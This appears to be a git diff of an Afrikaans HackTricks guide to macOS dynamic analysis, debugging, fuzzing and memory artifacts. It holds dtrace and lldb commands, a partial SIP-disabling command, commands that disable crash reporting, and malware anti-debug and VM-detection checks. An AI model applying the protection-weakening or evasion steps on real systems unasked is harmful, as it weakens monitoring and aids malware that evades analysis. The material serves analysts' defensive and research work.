Wanneer 'n funksie in 'n binêre wat Objective-C gebruik, aangeroep word, sal die gecompileerde kode in plaas daarvan om daardie funksie aan te roep, **`objc_msgSend`** aanroep. Dit sal die finale funksie aanroep:
@ -156,7 +143,7 @@ Wanneer 'n funksie in 'n binêre wat Objective-C gebruik, aangeroep word, sal di
Die parameters wat hierdie funksie verwag is:
* Die eerste parameter (**self**) is "n aanduiding wat na die **instansie van die klas wat die boodskap moet ontvang** wys". Of eenvoudiger gestel, dit is die objek waarop die metode aangeroep word. As die metode 'n klasmetode is, sal dit 'n instansie van die klasobjek (as 'n geheel) wees, terwyl dit vir 'n instansiemetode, self na 'n geïnstantieerde instansie van die klas as 'n objek sal wys.
* Die eerste parameter (**self**) is "n aanwijser wat na die **instansie van die klas wat die boodskap moet ontvang** wys". Of eenvoudiger gestel, dit is die objek waarop die metode aangeroep word. As die metode 'n klasmetode is, sal dit 'n instansie van die klasobjek (as 'n geheel) wees, terwyl dit vir 'n instansiemetode, self na 'n geïnstantieerde instansie van die klas as 'n objek sal wys.
* Die tweede parameter, (**op**), is "die selektor van die metode wat die boodskap hanteer". Weer eens, eenvoudiger gestel, dit is net die **naam van die metode.**
* Die oorblywende parameters is enige **waardes wat deur die metode vereis word** (op).
@ -170,7 +157,7 @@ x64:
| **Argument** | **Register** | **(vir) objc\_msgSend** |
| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
| **1ste argument** | **rdi** | **self: objek waarop die metode aangeroep word** |
| **1ste argument** | **rdi** | **self: objek waarop die metode aangeroep word** |
| **2de argument** | **rsi** | **op: naam van die metode** |
| **3de argument** | **rdx** | **1ste argument aan die metode** |
| **4de argument** | **rcx** | **2de argument aan die metode** |
@ -182,7 +169,7 @@ x64:
### Dynadump
[**Dynadump**](https://github.com/DerekSelander/dynadump) is 'n hulpmiddel om Objective-C binaries te klasdump. Die github spesifiseer dylibs maar dit werk ook met uitvoerbare lêers.
[**Dynadump**](https://github.com/DerekSelander/dynadump) is 'n hulpmiddel om Objective-C binêre te klas-dump. Die github spesifiseer dylibs, maar dit werk ook met uitvoerbare lêers.
```bash
./dynadump dump /path/to/bin
```
@ -196,7 +183,7 @@ objdump --macho --objc-meta-data /path/to/bin
```
#### class-dump
[**class-dump**](https://github.com/nygard/class-dump/) is die oorspronklike hulpmiddel om verklarings te genereer vir die klasse, kategorieë en protokolle in ObjetiveC geformateerde kode.
[**class-dump**](https://github.com/nygard/class-dump/) is die oorspronklike hulpmiddel wat verklarings genereer vir die klasse, kategorieë en protokolle in ObjetiveC geformateerde kode.
Dit is oud en word nie meer onderhou nie, so dit sal waarskynlik nie behoorlik werk nie.
@ -254,23 +241,23 @@ macOS stel 'n paar interessante API's bloot wat inligting oor die prosesse gee:
### Stackshot & mikrostackshots
**Stackshotting** is 'n tegniek wat gebruik word om die toestand van die prosesse vas te vang, insluitend die oproepstapels van alle lopende drade. Dit is veral nuttig vir debuggings, prestasieanalise, en om die gedrag van die sisteem op 'n spesifieke tydstip te verstaan. Op iOS en macOS kan stackshotting uitgevoer word met verskeie gereedskap en metodes soos die gereedskap **`sample`** en **`spindump`**.
**Stackshotting** is 'n tegniek wat gebruik word om die toestand van die prosesse vas te vang, insluitend die oproepstapels van alle lopende drade. Dit is veral nuttig vir debuggings, prestasieanalise, en om die gedrag van die stelsel op 'n spesifieke tydstip te verstaan. Op iOS en macOS kan stackshotting uitgevoer word met verskeie gereedskap en metodes soos die gereedskap **`sample`** en **`spindump`**.
### Sysdiagnose
Hierdie gereedskap (`/usr/bini/ysdiagnose`) versamel basies baie inligting van jou rekenaar deur 'n tiental verskillende opdragte soos `ps`, `zprint`... uit te voer.
Hierdie gereedskap (`/usr/bini/ysdiagnose`) versamel basies baie inligting van jou rekenaar deur tientalle verskillende opdragte soos `ps`, `zprint`...
Dit moet as **root** gedoen word en die daemon `/usr/libexec/sysdiagnosed` het baie interessante regte soos `com.apple.system-task-ports` en `get-task-allow`.
Dit moet as **root** uitgevoer word en die daemon `/usr/libexec/sysdiagnosed` het baie interessante regte soos `com.apple.system-task-ports` en `get-task-allow`.
Sy plist is geleë in `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist` wat 3 MachServices verklaar:
* `com.apple.sysdiagnose.CacheDelete`: Verwyder ou argiewe in /var/rmp
* `com.apple.sysdiagnose.kernel.ipc`: Spesiale poort 23 (kernel)
* `com.apple.sysdiagnose.service.xpc`: Gebruikersmodus-onderhoud deur `Libsysdiagnose` Obj-C klas. Drie argumente in 'n dict kan oorgedra word (`compress`, `display`, `run`)
* `com.apple.sysdiagnose.service.xpc`: Gebruikersmodus-koppelvlak deur `Libsysdiagnose` Obj-C klas. Drie argumente in 'n dict kan oorgedra word (`compress`, `display`, `run`)
### Geünifiseerde Logs
MacOS genereer baie logs wat baie nuttig kan wees wanneer 'n toepassing uitgevoer word om te probeer verstaan **wat dit doen**.
MacOS genereer 'n groot aantal logs wat baie nuttig kan wees wanneer 'n toepassing uitgevoer word om te probeer verstaan **wat dit doen**.
Boonop is daar 'n paar logs wat die etiket `<private>` sal bevat om **te verberg** sommige **gebruikers** of **rekenaar** **identifiseerbare** inligting. Dit is egter moontlik om **'n sertifikaat te installeer om hierdie inligting bekend te maak**. Volg die verduidelikings van [**hier**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
@ -298,9 +285,9 @@ In die regter paneel kan jy interessante inligting sien soos die **navigasiegesk
### dtrace
Dit stel gebruikers in staat om toegang tot toepassings op 'n uiters **lae vlak** te verkry en bied 'n manier vir gebruikers om **programmas** te **volg** en selfs hul uitvoeringsvloei te verander. Dtrace gebruik **probes** wat **oor die kernel geplaas is** en is op plekke soos die begin en einde van sisteemoproepe.
Dit stel gebruikers in staat om toegang tot toepassings op 'n uiters **lae vlak** te verkry en bied 'n manier vir gebruikers om **programmas** te **volg** en selfs hul uitvoeringsvloei te verander. Dtrace gebruik **probes** wat **oor die kernel geplaas is** en is op plekke soos die begin en einde van stelselaanroepe.
DTrace gebruik die **`dtrace_probe_create`** funksie om 'n probe vir elke sisteemoproep te skep. Hierdie probes kan in die **toegang en uitgangspunt van elke sisteemoproep** geaktiveer word. Die interaksie met DTrace vind plaas deur /dev/dtrace wat slegs beskikbaar is vir die root gebruiker.
DTrace gebruik die **`dtrace_probe_create`** funksie om 'n probe vir elke stelselaanroep te skep. Hierdie probes kan in die **toegang en uitgangspunt van elke stelselaanroep** geaktiveer word. Die interaksie met DTrace vind plaas deur /dev/dtrace wat slegs beskikbaar is vir die root gebruiker.
{% hint style="success" %}
Om Dtrace in te skakel sonder om SIP-beskerming heeltemal te deaktiveer, kan jy in herstelmodus uitvoer: `csrutil enable --without dtrace`
@ -327,6 +314,8 @@ Om DTrace te konfigureer om probes te aktiveer en om te spesifiseer watter aksie
#### Voorbeelde
Voer `man -k dtrace` uit om die **DTrace skripte beskikbaar** te lys. Voorbeeld: `sudo dtruss -n binary`
* In lyn
```bash
#Count the number of syscalls of each running process
sudo dtrace -n 'syscall:::entry {@[execname] = count()}'
@ -410,7 +399,7 @@ Or `tailspin`.
### kperf
Dit word gebruik om 'n kernvlak-profilerings te doen en dit is gebou met behulp van `Kdebug` aanroep.
Dit word gebruik om 'n kernvlak-profilerings te doen en dit is gebou met behulp van `Kdebug` aanroepings.
Basies, die globale veranderlike `kernel_debug_active` word nagegaan en as dit ingestel is, roep dit `kperf_kdebug_handler` aan met die `Kdebug` kode en adres van die kernraam wat aanroep. As die `Kdebug` kode ooreenstem met een wat gekies is, kry dit die "aksies" wat as 'n bitmap geconfigureer is (kyk `osfmk/kperf/action.h` vir die opsies).
@ -425,7 +414,7 @@ Boonop, 'n substel van Kperf se funksionaliteit woon in `kpc`, wat inligting ver
### SpriteTree
[**SpriteTree**](https://themittenmac.com/tools/) is 'n hulpmiddel om die verhoudings tussen prosesse te druk.\
Jy moet jou mac monitor met 'n opdrag soos **`sudo eslogger fork exec rename create > cap.json`** (die terminal wat hierdie vereis FDA). En dan kan jy die json in hierdie hulpmiddel laai om al die verhoudings te sien:
Jy moet jou mac monitor met 'n opdrag soos **`sudo eslogger fork exec rename create > cap.json`** (die terminal wat dit begin het die nodige FDA). En dan kan jy die json in hierdie hulpmiddel laai om al die verhoudings te sien:
<figure><img src="../../../.gitbook/assets/image (1182).png" alt="" width="375"><figcaption></figcaption></figure>
@ -435,11 +424,11 @@ Jy moet jou mac monitor met 'n opdrag soos **`sudo eslogger fork exec rename cre
### Crescendo
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) is 'n GUI-hulpmiddel met die voorkoms en gevoel wat Windows-gebruikers dalk van Microsoft Sysinternal se _Procmon_ ken. Hierdie hulpmiddel laat die opname van verskeie gebeurtenistipes toe om begin en gestop te word, laat die filtrering van hierdie gebeurtenisse deur kategorieë soos lêer, proses, netwerk, ens. toe, en bied die funksionaliteit om die opgeneemde gebeurtenisse in 'n json-formaat te stoor.
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) is 'n GUI-hulpmiddel met die voorkoms en gevoel wat Windows-gebruikers dalk van Microsoft Sysinternal se _Procmon_ ken. Hierdie hulpmiddel laat die opname van verskeie gebeurtenistipes toe om begin en gestop te word, laat die filtrering van hierdie gebeurtenisse deur kategorieë soos lêer, proses, netwerk, ens., en bied die funksionaliteit om die opgeneemde gebeurtenisse in 'n json-formaat te stoor.
### Apple Instruments
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) is deel van Xcode se Ontwikkelaarshulpmiddels gebruik om toepassingsprestasie te monitor, geheue lekkasies te identifiseer en lê sisteme aktiwiteit te volg.
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) is deel van Xcode se Ontwikkelaarshulpmiddels gebruik om toepassingsprestasie te monitor, geheue lekkasies te identifiseer en lêerstelselsaktiwiteit te volg.
![](<../../../.gitbook/assets/image (1138).png>)
@ -476,7 +465,7 @@ settings set target.x86-disassembly-flavor intel
Binne lldb, dump 'n proses met `process save-core`
{% endhint %}
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Opdrag</strong></td><td><strong>Besonderhede</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Begin uitvoering, wat sonder onderbreking sal voortgaan totdat 'n breekpunt bereik word of die proses beëindig word.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Begin uitvoering wat by die toegangspunt stop</td></tr><tr><td><strong>continue (c)</strong></td><td>Voortgaan met die uitvoering van die gedebugde proses.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Voer die volgende instruksie uit. Hierdie opdrag sal funksie-oproepe oorslaan.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Voer die volgende instruksie uit. Anders as die nexti-opdrag, sal hierdie opdrag in funksie-oproepe stap.</td></tr><tr><td><strong>finish (f)</strong></td><td>Voer die res van die instruksies in die huidige funksie (“raam”) uit, keer terug en stop.</td></tr><tr><td><strong>control + c</strong></td><td>Pauzeer uitvoering. As die proses gedraai (r) of voortgegaan (c) is, sal dit die proses laat stop ... waar dit ook al tans uitvoer.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Enige funksie genoem main</p><p><code>b &#x3C;binname>`main</code> #Hoof funksie van die bin</p><p><code>b set -n main --shlib &#x3C;lib_name></code> #Hoof funksie van die aangeduide bin</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Enige NSFileManager metode</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Breek in alle funksies van daardie biblioteek</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Breekpunt lys</p><p><code>br e/dis &#x3C;num></code> #Aktiveer/deaktiveer breekpunt</p><p>breekpunt verwyder &#x3C;num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breekpunt #Kry hulp van breekpunt opdrag</p><p>help geheue skryf #Kry hulp om in die geheue te skryf</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg lees</p><p>reg lees $rax</p><p>reg lees $rax --format &#x3C;<a href="https://lldb.llvm.org/use/variable.html#type-format">formaat</a>></p><p>reg skryf $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s &#x3C;reg/geheue adres></strong></td><td>Vertoon die geheue as 'n null-beëindigde string.</td></tr><tr><td><strong>x/i &#x3C;reg/geheue adres></strong></td><td>Vertoon die geheue as assembly instruksie.</td></tr><tr><td><strong>x/b &#x3C;reg/geheue adres></strong></td><td>Vertoon die geheue as byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Dit sal die objek wat deur die param verwys word druk</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Let daarop dat die meeste van Apple se Objective-C APIs of metodes objekte teruggee, en dus via die “print object” (po) opdrag vertoon moet word. As po nie 'n betekenisvolle uitvoer lewer nie, gebruik <code>x/b</code></p></td></tr><tr><td><strong>geheue</strong></td><td>geheue lees 0x000....<br>geheue lees $x0+0xf2a<br>geheue skryf 0x100600000 -s 4 0x41414141 #Skryf AAAA in daardie adres<br>geheue skryf -f s $rip+0x11f+7 "AAAA" #Skryf AAAA in die addr</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disas huidige funksie</p><p>dis -n &#x3C;funcname> #Disas funksie</p><p>dis -n &#x3C;funcname> -b &#x3C;basename> #Disas funksie<br>dis -c 6 #Disas 6 lyne<br>dis -c 0x100003764 -e 0x100003768 # Van een add tot die ander<br>dis -p -c 4 # Begin in huidige adres om te disassemble</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Kontroleer array van 3 komponente in x1 reg</td></tr><tr><td><strong>image dump sections</strong></td><td>Druk kaart van die huidige proses geheue</td></tr><tr><td><strong>image dump symtab &#x3C;library></strong></td><td><code>image dump symtab CoreNLP</code> #Kry die adres van al die simbole van CoreNLP</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Opdrag</strong></td><td><strong>Besonderhede</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Begin uitvoering, wat sonder onderbreking sal voortgaan totdat 'n breekpunt bereik word of die proses beëindig word.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Begin uitvoering wat by die toegangspunt stop</td></tr><tr><td><strong>continue (c)</strong></td><td>Voortgaan met die uitvoering van die gedebugde proses.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Voer die volgende instruksie uit. Hierdie opdrag sal funksie-oproepe oorslaan.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Voer die volgende instruksie uit. Anders as die nexti-opdrag, sal hierdie opdrag in funksie-oproepe stap.</td></tr><tr><td><strong>finish (f)</strong></td><td>Voer die res van die instruksies in die huidige funksie (“raam”) uit, keer terug en stop.</td></tr><tr><td><strong>control + c</strong></td><td>Pauzeer uitvoering. As die proses gedraai (r) of voortgegaan (c) is, sal dit die proses laat stop ... waar dit ook al tans uitvoer.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Enige funksie genoem main</p><p><code>b &#x3C;binname>`main</code> #Hoof funksie van die bin</p><p><code>b set -n main --shlib &#x3C;lib_name></code> #Hoof funksie van die aangeduide bin</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Enige NSFileManager metode</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Breek in alle funksies van daardie biblioteek</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Breekpunt lys</p><p><code>br e/dis &#x3C;num></code> #Aktiveer/Deaktiveer breekpunt</p><p>breekpunt verwyder &#x3C;num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breekpunt #Kry hulp met breekpunt opdrag</p><p>help geheue skryf #Kry hulp om in die geheue te skryf</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg lees</p><p>reg lees $rax</p><p>reg lees $rax --format &#x3C;<a href="https://lldb.llvm.org/use/variable.html#type-format">formaat</a>></p><p>reg skryf $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s &#x3C;reg/geheue adres></strong></td><td>Vertoon die geheue as 'n null-beëindigde string.</td></tr><tr><td><strong>x/i &#x3C;reg/geheue adres></strong></td><td>Vertoon die geheue as assembly instruksie.</td></tr><tr><td><strong>x/b &#x3C;reg/geheue adres></strong></td><td>Vertoon die geheue as byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Dit sal die objek wat deur die param verwys word druk</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Let daarop dat die meeste van Apple se Objective-C API's of metodes objekte teruggee, en dus via die “print object” (po) opdrag vertoon moet word. As po nie 'n betekenisvolle uitvoer lewer nie, gebruik <code>x/b</code></p></td></tr><tr><td><strong>geheue</strong></td><td>geheue lees 0x000....<br>geheue lees $x0+0xf2a<br>geheue skryf 0x100600000 -s 4 0x41414141 #Skryf AAAA in daardie adres<br>geheue skryf -f s $rip+0x11f+7 "AAAA" #Skryf AAAA in die addr</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disas huidige funksie</p><p>dis -n &#x3C;funcname> #Disas funksie</p><p>dis -n &#x3C;funcname> -b &#x3C;basename> #Disas funksie<br>dis -c 6 #Disas 6 lyne<br>dis -c 0x100003764 -e 0x100003768 # Van een add tot die ander<br>dis -p -c 4 # Begin in huidige adres disassemble</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Kontroleer array van 3 komponente in x1 reg</td></tr><tr><td><strong>image dump sections</strong></td><td>Druk kaart van die huidige proses geheue</td></tr><tr><td><strong>image dump symtab &#x3C;library></strong></td><td><code>image dump symtab CoreNLP</code> #Kry die adres van al die simbole van CoreNLP</td></tr></tbody></table>
{% hint style="info" %}
Wanneer die **`objc_sendMsg`** funksie aangeroep word, hou die **rsi** register die **naam van die metode** as 'n null-beëindigde (“C”) string. Om die naam via lldb te druk, doen:
@ -494,20 +483,20 @@ Wanneer die **`objc_sendMsg`** funksie aangeroep word, hou die **rsi** register
#### VM opsporing
* Die opdrag **`sysctl hw.model`** gee "Mac" terug wanneer die **gasheer 'n MacOS** is, maar iets anders wanneer dit 'n VM is.
* Deur met die waardes van **`hw.logicalcpu`** en **`hw.physicalcpu`** te speel, probeer sommige malware om te bepaal of dit 'n VM is.
* Deur met die waardes van **`hw.logicalcpu`** en **`hw.physicalcpu`** te speel, probeer sommige malware om te detecteer of dit 'n VM is.
* Sommige malware kan ook **opspoor** of die masjien **VMware** gebaseer is op die MAC adres (00:50:56).
* Dit is ook moontlik om te vind **of 'n proses gedebug word** met 'n eenvoudige kode soos:
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //proses wat gedebug word }`
* Dit kan ook die **`ptrace`** stelselsoproep met die **`PT_DENY_ATTACH`** vlag aanroep. Dit **verhoed** 'n deb**u**gger om aan te sluit en te volg.
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //proses word gedebug }`
* Dit kan ook die **`ptrace`** stelselskakel met die **`PT_DENY_ATTACH`** vlag aanroep. Dit **verhoed** dat 'n deb**u**gger aanheg en opspoor.
* Jy kan nagaan of die **`sysctl`** of **`ptrace`** funksie **geïmporteer** word (maar die malware kan dit dinamies invoer)
* Soos opgemerk in hierdie skrywe, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
“_Die boodskap Proses # het met **status = 45 (0x0000002d)** verlaat, is gewoonlik 'n duidelike teken dat die debug teiken **PT\_DENY\_ATTACH** gebruik_”
“_Die boodskap Proses # het met **status = 45 (0x0000002d)** verlaat, is gewoonlik 'n duidelike teken dat die debug-teiken **PT\_DENY\_ATTACH** gebruik_”
## Kern Dumps
Kern dumps word geskep as:
* `kern.coredump` sysctl is op 1 (per standaard)
* `kern.coredump` sysctl is op 1 gestel (per standaard)
* As die proses nie suid/sgid was nie of `kern.sugid_coredump` is 1 (per standaard is 0)
* Die `AS_CORE` limiet laat die operasie toe. Dit is moontlik om die skepping van kode dumps te onderdruk deur `ulimit -c 0` aan te roep en dit weer in te skakel met `ulimit -c unlimited`.
@ -521,7 +510,7 @@ ReportCrash **analiseer neergestorte prosesse en stoor 'n neergestorte verslag o
Vir toepassings en ander prosesse **wat in die per-gebruiker launchd konteks loop**, loop ReportCrash as 'n LaunchAgent en stoor neergestorte verslae in die gebruiker se `~/Library/Logs/DiagnosticReports/`\
Vir daemons, ander prosesse **wat in die stelsel launchd konteks loop** en ander bevoorregte prosesse, loop ReportCrash as 'n LaunchDaemon en stoor neergestorte verslae in die stelsel se `/Library/Logs/DiagnosticReports`
As jy bekommerd is oor neergestorte verslae **wat na Apple gestuur word**, kan jy dit deaktiveer. As nie, kan neergestorte verslae nuttig wees om te **begryp hoe 'n bediener neergestort het**.
As jy bekommerd is oor neergestorte verslae **wat na Apple gestuur word**, kan jy dit deaktiveer. As nie, kan neergestorte verslae nuttig wees om **uit te vind hoe 'n bediener neergestort het**.
```bash
#To disable crash reporting:
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
@ -533,7 +522,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.
```
### Slaap
Terwyl jy fuzz in 'n MacOS, is dit belangrik om nie toe te laat dat die Mac slaap nie:
Terwyl jy fuzz in 'n MacOS, is dit belangrik om te verhoed dat die Mac slaap:
* systemsetup -setsleep Nooit
* pmset, Stelselsvoorkeure
@ -587,7 +576,7 @@ Werk vir CLI gereedskap
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
Dit "**werk net"** met macOS GUI gereedskap. Let daarop dat sommige macOS toepassings spesifieke vereistes het soos unieke lêernamen, die regte uitbreiding, en moet die lêers uit die sandbox lees (`~/Library/Containers/com.apple.Safari/Data`)...
Dit "**werk net"** met macOS GUI gereedskap. Let daarop dat sommige macOS toepassings spesifieke vereistes het soos unieke lêernamen, die regte uitbreiding, en dat dit die lêers uit die sandbox (`~/Library/Containers/com.apple.Safari/Data`) moet lees...
Sommige voorbeelde:
@ -631,27 +620,15 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
* [**Die Kuns van Mac Malware: Die Gids om Kwaadaardige Sagteware te Analiseer**](https://taomm.org/)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kontroleer die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

View file

@ -1,57 +1,44 @@
# macOS Geheue Dumping
# macOS Memory Dumping
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
## Memory Artifacts
[**WhiteIntel**](https://whiteintel.io) is 'n **donkerweb**-aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** gekompromitteer is.
### Swap Files
Die primêre doel van WhiteIntel is om rekeningoorname en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteelmalware.
Swap lêers, soos `/private/var/vm/swapfile0`, dien as **kas wanneer die fisiese geheue vol is**. Wanneer daar nie meer plek in fisiese geheue is nie, word die data na 'n swap lêer oorgedra en dan terug na fisiese geheue gebring soos nodig. Meerdere swap lêers mag teenwoordig wees, met name soos swapfile0, swapfile1, en so aan.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
### Hibernate Image
{% embed url="https://whiteintel.io" %}
Die lêer geleë by `/private/var/vm/sleepimage` is van kardinale belang tydens **hibernasie-modus**. **Data van geheue word in hierdie lêer gestoor wanneer OS X hiberneer**. By die wakkermaak van die rekenaar, haal die stelsel geheue data uit hierdie lêer, wat die gebruiker toelaat om voort te gaan waar hulle opgehou het.
***
Dit is die moeite werd om te noem dat op moderne MacOS stelsels, hierdie lêer tipies versleuteld is vir sekuriteitsredes, wat herstel moeilik maak.
## Geheue Artefakte
* Om te kontroleer of versleuteling geaktiveer is vir die sleepimage, kan die opdrag `sysctl vm.swapusage` uitgevoer word. Dit sal wys of die lêer versleuteld is.
### Ruil Lêers
### Memory Pressure Logs
Ruil lêers, soos `/private/var/vm/swapfile0`, dien as **kasgeheue wanneer die fisiese geheue vol is**. Wanneer daar nie meer spasie in die fisiese geheue is nie, word die data na 'n ruil lêer oorgedra en dan weer na die fisiese geheue gebring as dit nodig is. Verskeie ruil lêers kan teenwoordig wees, met name soos swapfile0, swapfile1, ensovoorts.
Nog 'n belangrike geheue-verwante lêer in MacOS stelsels is die **geheue druk log**. Hierdie logs is geleë in `/var/log` en bevat gedetailleerde inligting oor die stelsel se geheue gebruik en druk gebeurtenisse. Hulle kan veral nuttig wees om geheue-verwante probleme te diagnoseer of te verstaan hoe die stelsel geheue oor tyd bestuur.
### Hiberneer Beeld
## Dumping memory with osxpmem
Die lêer wat geleë is by `/private/var/vm/sleepimage` is noodsaaklik tydens **hibernasiemodus**. **Data vanaf die geheue word in hierdie lêer gestoor wanneer OS X hiberneer**. Met die ontwaking van die rekenaar haal die stelsel geheuedata uit hierdie lêer, sodat die gebruiker kan voortgaan waar hulle opgehou het.
